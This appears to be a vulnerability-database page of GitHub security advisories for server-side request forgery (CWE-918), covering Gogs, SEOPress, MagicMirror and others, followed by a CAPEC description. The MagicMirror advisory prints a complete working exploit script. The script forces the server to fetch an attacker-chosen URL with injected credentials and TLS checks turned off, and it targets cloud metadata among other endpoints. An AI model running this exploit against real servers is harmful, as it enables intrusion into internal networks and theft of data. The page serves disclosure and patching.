CWE-918
AllowedServer-Side Request Forgery (SSRF)
Abstraction: Base · Status: Incomplete
The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination.
5568 vulnerabilities reference this CWE, most recent first.
GHSA-W689-557M-2CVQ
Vulnerability from github – Published: 2022-06-03 15:35 – Updated: 2022-06-03 15:35Impact
The malicious user is able to discover services in the internal network through webhook functionality. All installations accepting public traffic are affected.
Patches
Webhook payload URLs are revalidated before each delivery to make sure they are not resolved to blocked local network addresses. Users should upgrade to 0.12.8 or the latest 0.13.0+dev.
Workarounds
Run Gogs in its own private network.
References
https://huntr.dev/bounties/da1fbd6e-7a02-458e-9c2e-6d226c47046d/
For more information
If you have any questions or comments about this advisory, please post on https://github.com/gogs/gogs/issues/6901.
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "gogs.io/gogs"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.12.8"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2022-1285"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": true,
"github_reviewed_at": "2022-06-03T15:35:32Z",
"nvd_published_at": "2022-06-01T06:15:00Z",
"severity": "HIGH"
},
"details": "### Impact\n\nThe malicious user is able to discover services in the internal network through webhook functionality. All installations accepting public traffic are affected.\n\n### Patches\n\nWebhook payload URLs are revalidated before each delivery to make sure they are not resolved to blocked local network addresses. Users should upgrade to 0.12.8 or the latest 0.13.0+dev.\n\n### Workarounds\n\nRun Gogs in its own private network.\n\n### References\n\nhttps://huntr.dev/bounties/da1fbd6e-7a02-458e-9c2e-6d226c47046d/\n\n### For more information\n\nIf you have any questions or comments about this advisory, please post on https://github.com/gogs/gogs/issues/6901.\n",
"id": "GHSA-w689-557m-2cvq",
"modified": "2022-06-03T15:35:32Z",
"published": "2022-06-03T15:35:32Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/gogs/gogs/security/advisories/GHSA-w689-557m-2cvq"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-1285"
},
{
"type": "WEB",
"url": "https://github.com/gogs/gogs/commit/7885f454a4946c4bbec1b4f8c603b5eea7429c7f"
},
{
"type": "PACKAGE",
"url": "https://github.com/gogs/gogs"
},
{
"type": "WEB",
"url": "https://huntr.dev/bounties/da1fbd6e-7a02-458e-9c2e-6d226c47046d"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L",
"type": "CVSS_V3"
}
],
"summary": "Server-Side Request Forgery in gogs webhook"
}
GHSA-W69P-F797-2JF5
Vulnerability from github – Published: 2024-01-08 09:30 – Updated: 2024-01-08 09:30A vulnerability has been found in Youke365 up to 1.5.3 and classified as critical. Affected by this vulnerability is an unknown functionality of the file /app/api/controller/collect.php. The manipulation of the argument url leads to server-side request forgery. The attack can be launched remotely. The exploit has been disclosed to the public and may be used. The associated identifier of this vulnerability is VDB-249871.
{
"affected": [],
"aliases": [
"CVE-2024-0304"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-01-08T08:15:36Z",
"severity": "MODERATE"
},
"details": "A vulnerability has been found in Youke365 up to 1.5.3 and classified as critical. Affected by this vulnerability is an unknown functionality of the file /app/api/controller/collect.php. The manipulation of the argument url leads to server-side request forgery. The attack can be launched remotely. The exploit has been disclosed to the public and may be used. The associated identifier of this vulnerability is VDB-249871.",
"id": "GHSA-w69p-f797-2jf5",
"modified": "2024-01-08T09:30:34Z",
"published": "2024-01-08T09:30:34Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-0304"
},
{
"type": "WEB",
"url": "https://note.zhaoj.in/share/3jF3Xpl3ttlZ"
},
{
"type": "WEB",
"url": "https://vuldb.com/?ctiid.249871"
},
{
"type": "WEB",
"url": "https://vuldb.com/?id.249871"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L",
"type": "CVSS_V3"
}
]
}
GHSA-W6C2-26PJ-HPQ6
Vulnerability from github – Published: 2022-03-15 00:01 – Updated: 2022-03-19 00:01The DefaultRepositoryAdminService class in Fisheye and Crucible before version 4.8.9 allowed remote attackers, who have 'can add repository permission', to enumerate the existence of internal network and filesystem resources via a Server-Side Request Forgery (SSRF) vulnerability.
{
"affected": [],
"aliases": [
"CVE-2021-43954"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2022-03-14T02:15:00Z",
"severity": "MODERATE"
},
"details": "The DefaultRepositoryAdminService class in Fisheye and Crucible before version 4.8.9 allowed remote attackers, who have \u0027can add repository permission\u0027, to enumerate the existence of internal network and filesystem resources via a Server-Side Request Forgery (SSRF) vulnerability.",
"id": "GHSA-w6c2-26pj-hpq6",
"modified": "2022-03-19T00:01:10Z",
"published": "2022-03-15T00:01:02Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-43954"
},
{
"type": "WEB",
"url": "https://jira.atlassian.com/browse/CRUC-8520"
},
{
"type": "WEB",
"url": "https://jira.atlassian.com/browse/FE-7384"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-W6MV-QPWP-2H37
Vulnerability from github – Published: 2026-07-01 18:31 – Updated: 2026-07-01 18:31NVIDIA Megatron Bridge for Linux contains a vulnerability where an attacker could cause server-side request forgery. A successful exploit of this vulnerability might lead to information disclosure.
{
"affected": [],
"aliases": [
"CVE-2026-24242"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-07-01T16:16:44Z",
"severity": "HIGH"
},
"details": "NVIDIA Megatron Bridge for Linux contains a vulnerability where an attacker could cause server-side request forgery. A successful exploit of this vulnerability might lead to information disclosure.",
"id": "GHSA-w6mv-qpwp-2h37",
"modified": "2026-07-01T18:31:47Z",
"published": "2026-07-01T18:31:47Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-24242"
},
{
"type": "WEB",
"url": "https://github.com/NVIDIA/product-security/tree/main/2026/5841"
},
{
"type": "WEB",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-24242"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-W6PM-7X44-M335
Vulnerability from github – Published: 2023-08-22 21:30 – Updated: 2024-10-29 21:30A vulnerability in the web-based management interface of EdgeConnect SD-WAN Orchestrator could allow an unauthenticated remote attacker to conduct a server-side request forgery (SSRF) attack. A successful exploit allows an attacker to enumerate information about the internal structure of the EdgeConnect SD-WAN Orchestrator host leading to potential disclosure of sensitive information.
{
"affected": [],
"aliases": [
"CVE-2023-37440"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-08-22T19:16:38Z",
"severity": "MODERATE"
},
"details": "A vulnerability in the web-based management interface\u00a0of EdgeConnect SD-WAN Orchestrator could allow an\u00a0unauthenticated remote attacker to conduct a server-side\u00a0request forgery (SSRF) attack. A successful exploit allows\u00a0an attacker to enumerate information about the internal\n\u00a0 \u00a0 structure of the EdgeConnect SD-WAN Orchestrator host leading\u00a0to potential disclosure of sensitive information.\n\n",
"id": "GHSA-w6pm-7x44-m335",
"modified": "2024-10-29T21:30:43Z",
"published": "2023-08-22T21:30:27Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-37440"
},
{
"type": "WEB",
"url": "https://www.arubanetworks.com/assets/alert/ARUBA-PSA-2023-012.txt"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:L/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-W6Q8-88PH-G9VQ
Vulnerability from github – Published: 2024-08-13 21:31 – Updated: 2024-08-13 21:31A vulnerability was found in wanglongcn ltcms 1.0.20. It has been declared as critical. Affected by this vulnerability is the function downloadUrl of the file /api/file/downloadUrl of the component API Endpoint. The manipulation of the argument file leads to server-side request forgery. The attack can be launched remotely. The exploit has been disclosed to the public and may be used. NOTE: The vendor was contacted early about this disclosure but did not respond in any way.
{
"affected": [],
"aliases": [
"CVE-2024-7743"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-08-13T21:15:17Z",
"severity": "MODERATE"
},
"details": "A vulnerability was found in wanglongcn ltcms 1.0.20. It has been declared as critical. Affected by this vulnerability is the function downloadUrl of the file /api/file/downloadUrl of the component API Endpoint. The manipulation of the argument file leads to server-side request forgery. The attack can be launched remotely. The exploit has been disclosed to the public and may be used. NOTE: The vendor was contacted early about this disclosure but did not respond in any way.",
"id": "GHSA-w6q8-88ph-g9vq",
"modified": "2024-08-13T21:31:56Z",
"published": "2024-08-13T21:31:56Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-7743"
},
{
"type": "WEB",
"url": "https://github.com/DeepMountains/Mirage/blob/main/CVE14-4.md"
},
{
"type": "WEB",
"url": "https://vuldb.com/?ctiid.274363"
},
{
"type": "WEB",
"url": "https://vuldb.com/?id.274363"
},
{
"type": "WEB",
"url": "https://vuldb.com/?submit.386435"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-W6R8-2M56-2CWG
Vulnerability from github – Published: 2024-02-26 18:30 – Updated: 2024-02-26 18:30The SuperFaktura WooCommerce plugin for WordPress is vulnerable to Server-Side Request Forgery in all versions up to, and including, 1.40.3 via the wc_sf_url_check function. This makes it possible for authenticated attackers, with subscriber-level access and above, to make web requests to arbitrary locations originating from the web application and can be used to query and modify information from internal services.
{
"affected": [],
"aliases": [
"CVE-2024-1758"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-02-26T16:27:53Z",
"severity": "MODERATE"
},
"details": "The SuperFaktura WooCommerce plugin for WordPress is vulnerable to Server-Side Request Forgery in all versions up to, and including, 1.40.3 via the wc_sf_url_check function. This makes it possible for authenticated attackers, with subscriber-level access and above, to make web requests to arbitrary locations originating from the web application and can be used to query and modify information from internal services.",
"id": "GHSA-w6r8-2m56-2cwg",
"modified": "2024-02-26T18:30:30Z",
"published": "2024-02-26T18:30:30Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-1758"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/browser/woocommerce-superfaktura/trunk/class-wc-superfaktura.php#L3418"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/changeset?sfp_email=\u0026sfph_mail=\u0026reponame=\u0026old=3040372%40woocommerce-superfaktura\u0026new=3040372%40woocommerce-superfaktura\u0026sfp_email=\u0026sfph_mail="
},
{
"type": "WEB",
"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/520598d7-863f-4bf3-ba74-fa9b2cc32767?source=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-W6VH-49P9-J7C9
Vulnerability from github – Published: 2024-04-10 00:30 – Updated: 2024-04-10 00:30Server-side request forgery (SSRF) in PingFederate allows unauthenticated http requests to attack network resources and consume server-side resources via forged HTTP POST requests.
{
"affected": [],
"aliases": [
"CVE-2023-40148"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-04-10T00:15:09Z",
"severity": "MODERATE"
},
"details": "Server-side request forgery (SSRF) in PingFederate allows unauthenticated http requests to attack network resources and consume server-side resources via forged HTTP POST requests.\n",
"id": "GHSA-w6vh-49p9-j7c9",
"modified": "2024-04-10T00:30:29Z",
"published": "2024-04-10T00:30:29Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-40148"
},
{
"type": "WEB",
"url": "https://docs.pingidentity.com/r/en-us/pingfederate-120/tuj1708533127032"
},
{
"type": "WEB",
"url": "https://www.pingidentity.com/en/resources/downloads/pingfederate/previous-releases.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:L",
"type": "CVSS_V3"
}
]
}
GHSA-W6WV-5368-GQ95
Vulnerability from github – Published: 2026-09-03 18:31 – Updated: 2026-09-03 18:31Server-Side Request Forgery (SSRF) vulnerability in SEOPress allows Server Side Request Forgery.
This issue affects SEOPress: from n/a through 10.1.
{
"affected": [],
"aliases": [
"CVE-2026-85305"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-09-03T17:17:30Z",
"severity": "MODERATE"
},
"details": "Server-Side Request Forgery (SSRF) vulnerability in SEOPress allows Server Side Request Forgery.\n\nThis issue affects SEOPress: from n/a through 10.1.",
"id": "GHSA-w6wv-5368-gq95",
"modified": "2026-09-03T18:31:50Z",
"published": "2026-09-03T18:31:50Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-85305"
},
{
"type": "WEB",
"url": "https://patchstack.com/database/wordpress/plugin/wp-seopress/vulnerability/wordpress-seopress-plugin-10-1-server-side-request-forgery-ssrf-vulnerability?_s_id=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-W6X9-28JW-HQ7J
Vulnerability from github – Published: 2026-08-18 17:26 – Updated: 2026-08-18 17:26Vulnerability — SSRF via ADD_CALENDAR (MagicMirror² calendar)
Analysis of the PoC
exploit-ssrf-calendar.js. Target:calendar/node_helper.jsof MagicMirror², socket.io namespace/calendar.
Identification
| Field | Value |
|---|---|
| PoC file | exploit-ssrf-calendar.js |
| Endpoint | socket.io namespace /calendar, notification ADD_CALENDAR |
| Precondition | reach the mirror's HTTP port (no authentication required) |
Description
The ADD_CALENDAR handler in calendar/node_helper.js performs a server-side HTTP request to a URL that is fully attacker-controlled, with no SSRF protection whatsoever — unlike the project's hardened /cors endpoint.
Worse, the attacker also controls:
- the authentication headers the server attaches to the request (auth: { method: "bearer", pass: "..." });
- the selfSignedCert flag, which disables TLS verification of the server-side request.
When the target's response is valid iCal, the server parses the events and sends them back to the attacker via CALENDAR_EVENTS — turning the SSRF into full data exfiltration (response body read). Against non-iCal responses it remains a blind SSRF (the attacker still forces the server-side request, they just don't see the body).
Root cause: unauthenticated socket.io channel + permissive CORS
The socket.io server accepts connections from any origin and with no authentication:
const io = new Server(server, {
cors: { origin: /.*$/, credentials: true }
});
The /calendar namespace registers the handler without checking who is connected (CWE-306). Any process or browser tab that can reach the mirror's port can emit the notification.
Exploit (exploit-ssrf-calendar.js)
const { io } = require("socket.io-client");
const TARGET = process.env.MM || "http://TARGET:8888";
const INTERNAL_URL = process.argv[2] || process.env.SSRF_URL || "https://webhook.site/";
const socket = io(`${TARGET}/calendar`, { path: "/socket.io", transports: ["websocket", "polling"] });
socket.onAny((event, payload) => {
if (event === "CALENDAR_EVENTS") {
console.log("\n[+] CALENDAR_EVENTS received from server (SSRF response exfiltrated):");
for (const ev of payload.events || []) {
console.log(" SUMMARY:", ev.title);
if (ev.title && ev.title.includes("FLAG{")) {
console.log("\n[!!!] SSRF SUCCESS - leaked secret from internal-only service:");
console.log(" " + ev.title);
process.exit(0);
}
}
} else if (event === "CALENDAR_ERROR") {
console.log("[-] CALENDAR_ERROR:", JSON.stringify(payload));
}
});
socket.on("connect", () => {
console.log(`[*] Connected to ${TARGET}/calendar (no auth required). socket id=${socket.id}`);
console.log(`[*] Forcing server-side fetch of internal target: ${INTERNAL_URL}`);
socket.emit("ADD_CALENDAR", {
url: INTERNAL_URL,
fetchInterval: 60000,
excludedEvents: [],
maximumEntries: 10,
maximumNumberOfDays: 3650,
auth: { method: "bearer", pass: "internal-admin-token" },
broadcastPastEvents: true,
selfSignedCert: true,
id: "pwn"
});
});
socket.on("connect_error", (e) => console.log("[-] connect_error:", e.message));
setTimeout(() => { console.log("\n[*] timeout, exiting"); process.exit(1); }, 20000);
Vulnerable target code (pattern)
socketNotificationReceived(notification, payload) {
if (notification === "ADD_CALENDAR") {
const fetcher = new CalendarFetcher(
payload.url,
payload.fetchInterval,
payload.excludedEvents,
payload.maximumEntries,
payload.maximumNumberOfDays,
payload.auth,
payload.broadcastPastEvents,
payload.selfSignedCert
);
fetcher.fetchCalendar();
}
}
Impact
- Reading internal services unreachable from the attacker's network (cloud metadata
169.254.169.254, admin panels on127.0.0.1, services on the private network). - Body exfiltration when the response is iCal (the PoC searches for
FLAG{...}in event titles). - Confused deputy / credential injection: the server attaches an attacker-controlled
Authorization: Bearer ...header, allowing it to forge/replay credentials against the internal target. - TLS bypass via
selfSignedCert: true. - Internal port scanning through error/timing differences.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "magicmirror"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.37.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-63643"
],
"database_specific": {
"cwe_ids": [
"CWE-441",
"CWE-918"
],
"github_reviewed": true,
"github_reviewed_at": "2026-08-18T17:26:51Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "# Vulnerability \u2014 SSRF via `ADD_CALENDAR` (MagicMirror\u00b2 calendar)\n\n\u003e Analysis of the PoC `exploit-ssrf-calendar.js`.\n\u003e Target: `calendar/node_helper.js` of MagicMirror\u00b2, socket.io namespace `/calendar`.\n\n---\n\n## Identification\n\n| Field | Value |\n|-------|-------|\n| **PoC file** | `exploit-ssrf-calendar.js` |\n| **Endpoint** | socket.io namespace `/calendar`, notification `ADD_CALENDAR` |\n| **Precondition** | reach the mirror\u0027s HTTP port (no authentication required) |\n\n---\n\n## Description\n\nThe `ADD_CALENDAR` handler in `calendar/node_helper.js` performs a **server-side** HTTP request to a URL that is **fully attacker-controlled**, with no SSRF protection whatsoever \u2014 unlike the project\u0027s hardened `/cors` endpoint.\n\nWorse, the attacker also controls:\n- the **authentication headers** the server attaches to the request (`auth: { method: \"bearer\", pass: \"...\" }`);\n- the `selfSignedCert` flag, which **disables TLS verification** of the server-side request.\n\nWhen the target\u0027s response is **valid iCal**, the server parses the events and sends them back to the attacker via `CALENDAR_EVENTS` \u2014 turning the SSRF into **full data exfiltration** (response body read). Against non-iCal responses it remains a blind SSRF (the attacker still forces the server-side request, they just don\u0027t see the body).\n\n---\n\n## Root cause: unauthenticated socket.io channel + permissive CORS\n\nThe socket.io server accepts connections from **any origin** and with **no authentication**:\n\n```js\nconst io = new Server(server, {\n cors: { origin: /.*$/, credentials: true }\n});\n```\n\nThe `/calendar` namespace registers the handler without checking who is connected (**CWE-306**). Any process or browser tab that can reach the mirror\u0027s port can emit the notification.\n\n---\n\n## Exploit (`exploit-ssrf-calendar.js`)\n\n```js\nconst { io } = require(\"socket.io-client\");\n\nconst TARGET = process.env.MM || \"http://TARGET:8888\";\nconst INTERNAL_URL = process.argv[2] || process.env.SSRF_URL || \"https://webhook.site/\";\n\nconst socket = io(`${TARGET}/calendar`, { path: \"/socket.io\", transports: [\"websocket\", \"polling\"] });\n\nsocket.onAny((event, payload) =\u003e {\n\tif (event === \"CALENDAR_EVENTS\") {\n\t\tconsole.log(\"\\n[+] CALENDAR_EVENTS received from server (SSRF response exfiltrated):\");\n\t\tfor (const ev of payload.events || []) {\n\t\t\tconsole.log(\" SUMMARY:\", ev.title);\n\t\t\tif (ev.title \u0026\u0026 ev.title.includes(\"FLAG{\")) {\n\t\t\t\tconsole.log(\"\\n[!!!] SSRF SUCCESS - leaked secret from internal-only service:\");\n\t\t\t\tconsole.log(\" \" + ev.title);\n\t\t\t\tprocess.exit(0);\n\t\t\t}\n\t\t}\n\t} else if (event === \"CALENDAR_ERROR\") {\n\t\tconsole.log(\"[-] CALENDAR_ERROR:\", JSON.stringify(payload));\n\t}\n});\n\nsocket.on(\"connect\", () =\u003e {\n\tconsole.log(`[*] Connected to ${TARGET}/calendar (no auth required). socket id=${socket.id}`);\n\tconsole.log(`[*] Forcing server-side fetch of internal target: ${INTERNAL_URL}`);\n\tsocket.emit(\"ADD_CALENDAR\", {\n\t\turl: INTERNAL_URL,\n\t\tfetchInterval: 60000,\n\t\texcludedEvents: [],\n\t\tmaximumEntries: 10,\n\t\tmaximumNumberOfDays: 3650,\n\t\tauth: { method: \"bearer\", pass: \"internal-admin-token\" },\n\t\tbroadcastPastEvents: true,\n\t\tselfSignedCert: true,\n\t\tid: \"pwn\"\n\t});\n});\n\nsocket.on(\"connect_error\", (e) =\u003e console.log(\"[-] connect_error:\", e.message));\n\nsetTimeout(() =\u003e { console.log(\"\\n[*] timeout, exiting\"); process.exit(1); }, 20000);\n```\n\n---\n\n## Vulnerable target code (pattern)\n\n```js\nsocketNotificationReceived(notification, payload) {\n if (notification === \"ADD_CALENDAR\") {\n const fetcher = new CalendarFetcher(\n payload.url,\n payload.fetchInterval,\n payload.excludedEvents,\n payload.maximumEntries,\n payload.maximumNumberOfDays,\n payload.auth,\n payload.broadcastPastEvents,\n payload.selfSignedCert\n );\n fetcher.fetchCalendar();\n }\n}\n```\n\n---\n\n## Impact\n\n- **Reading internal services** unreachable from the attacker\u0027s network (cloud metadata `169.254.169.254`, admin panels on `127.0.0.1`, services on the private network).\n- **Body exfiltration** when the response is iCal (the PoC searches for `FLAG{...}` in event titles).\n- **Confused deputy / credential injection**: the server attaches an attacker-controlled `Authorization: Bearer ...` header, allowing it to forge/replay credentials against the internal target.\n- **TLS bypass** via `selfSignedCert: true`.\n- Internal port scanning through error/timing differences.\n\n---",
"id": "GHSA-w6x9-28jw-hq7j",
"modified": "2026-08-18T17:26:51Z",
"published": "2026-08-18T17:26:51Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/MagicMirrorOrg/MagicMirror/security/advisories/GHSA-w6x9-28jw-hq7j"
},
{
"type": "WEB",
"url": "https://github.com/MagicMirrorOrg/MagicMirror/pull/4169"
},
{
"type": "WEB",
"url": "https://github.com/MagicMirrorOrg/MagicMirror/commit/58c2a5e675a7d367b64d72e1d35680d202ff5c9f"
},
{
"type": "PACKAGE",
"url": "https://github.com/MagicMirrorOrg/MagicMirror"
},
{
"type": "WEB",
"url": "https://github.com/MagicMirrorOrg/MagicMirror/releases/tag/v2.37.0"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:N/VA:N/SC:L/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "MagicMirror: ssrf calendar .js"
}
No mitigation information available for this CWE.
CAPEC-664: Server Side Request Forgery
An adversary exploits improper input validation by submitting maliciously crafted input to a target application running on a server, with the goal of forcing the server to make a request either to itself, to web services running in the server’s internal network, or to external third parties. If successful, the adversary’s request will be made with the server’s privilege level, bypassing its authentication controls. This ultimately allows the adversary to access sensitive data, execute commands on the server’s network, and make external requests with the stolen identity of the server. Server Side Request Forgery attacks differ from Cross Site Request Forgery attacks in that they target the server itself, whereas CSRF attacks exploit an insecure user authentication mechanism to perform unauthorized actions on the user's behalf.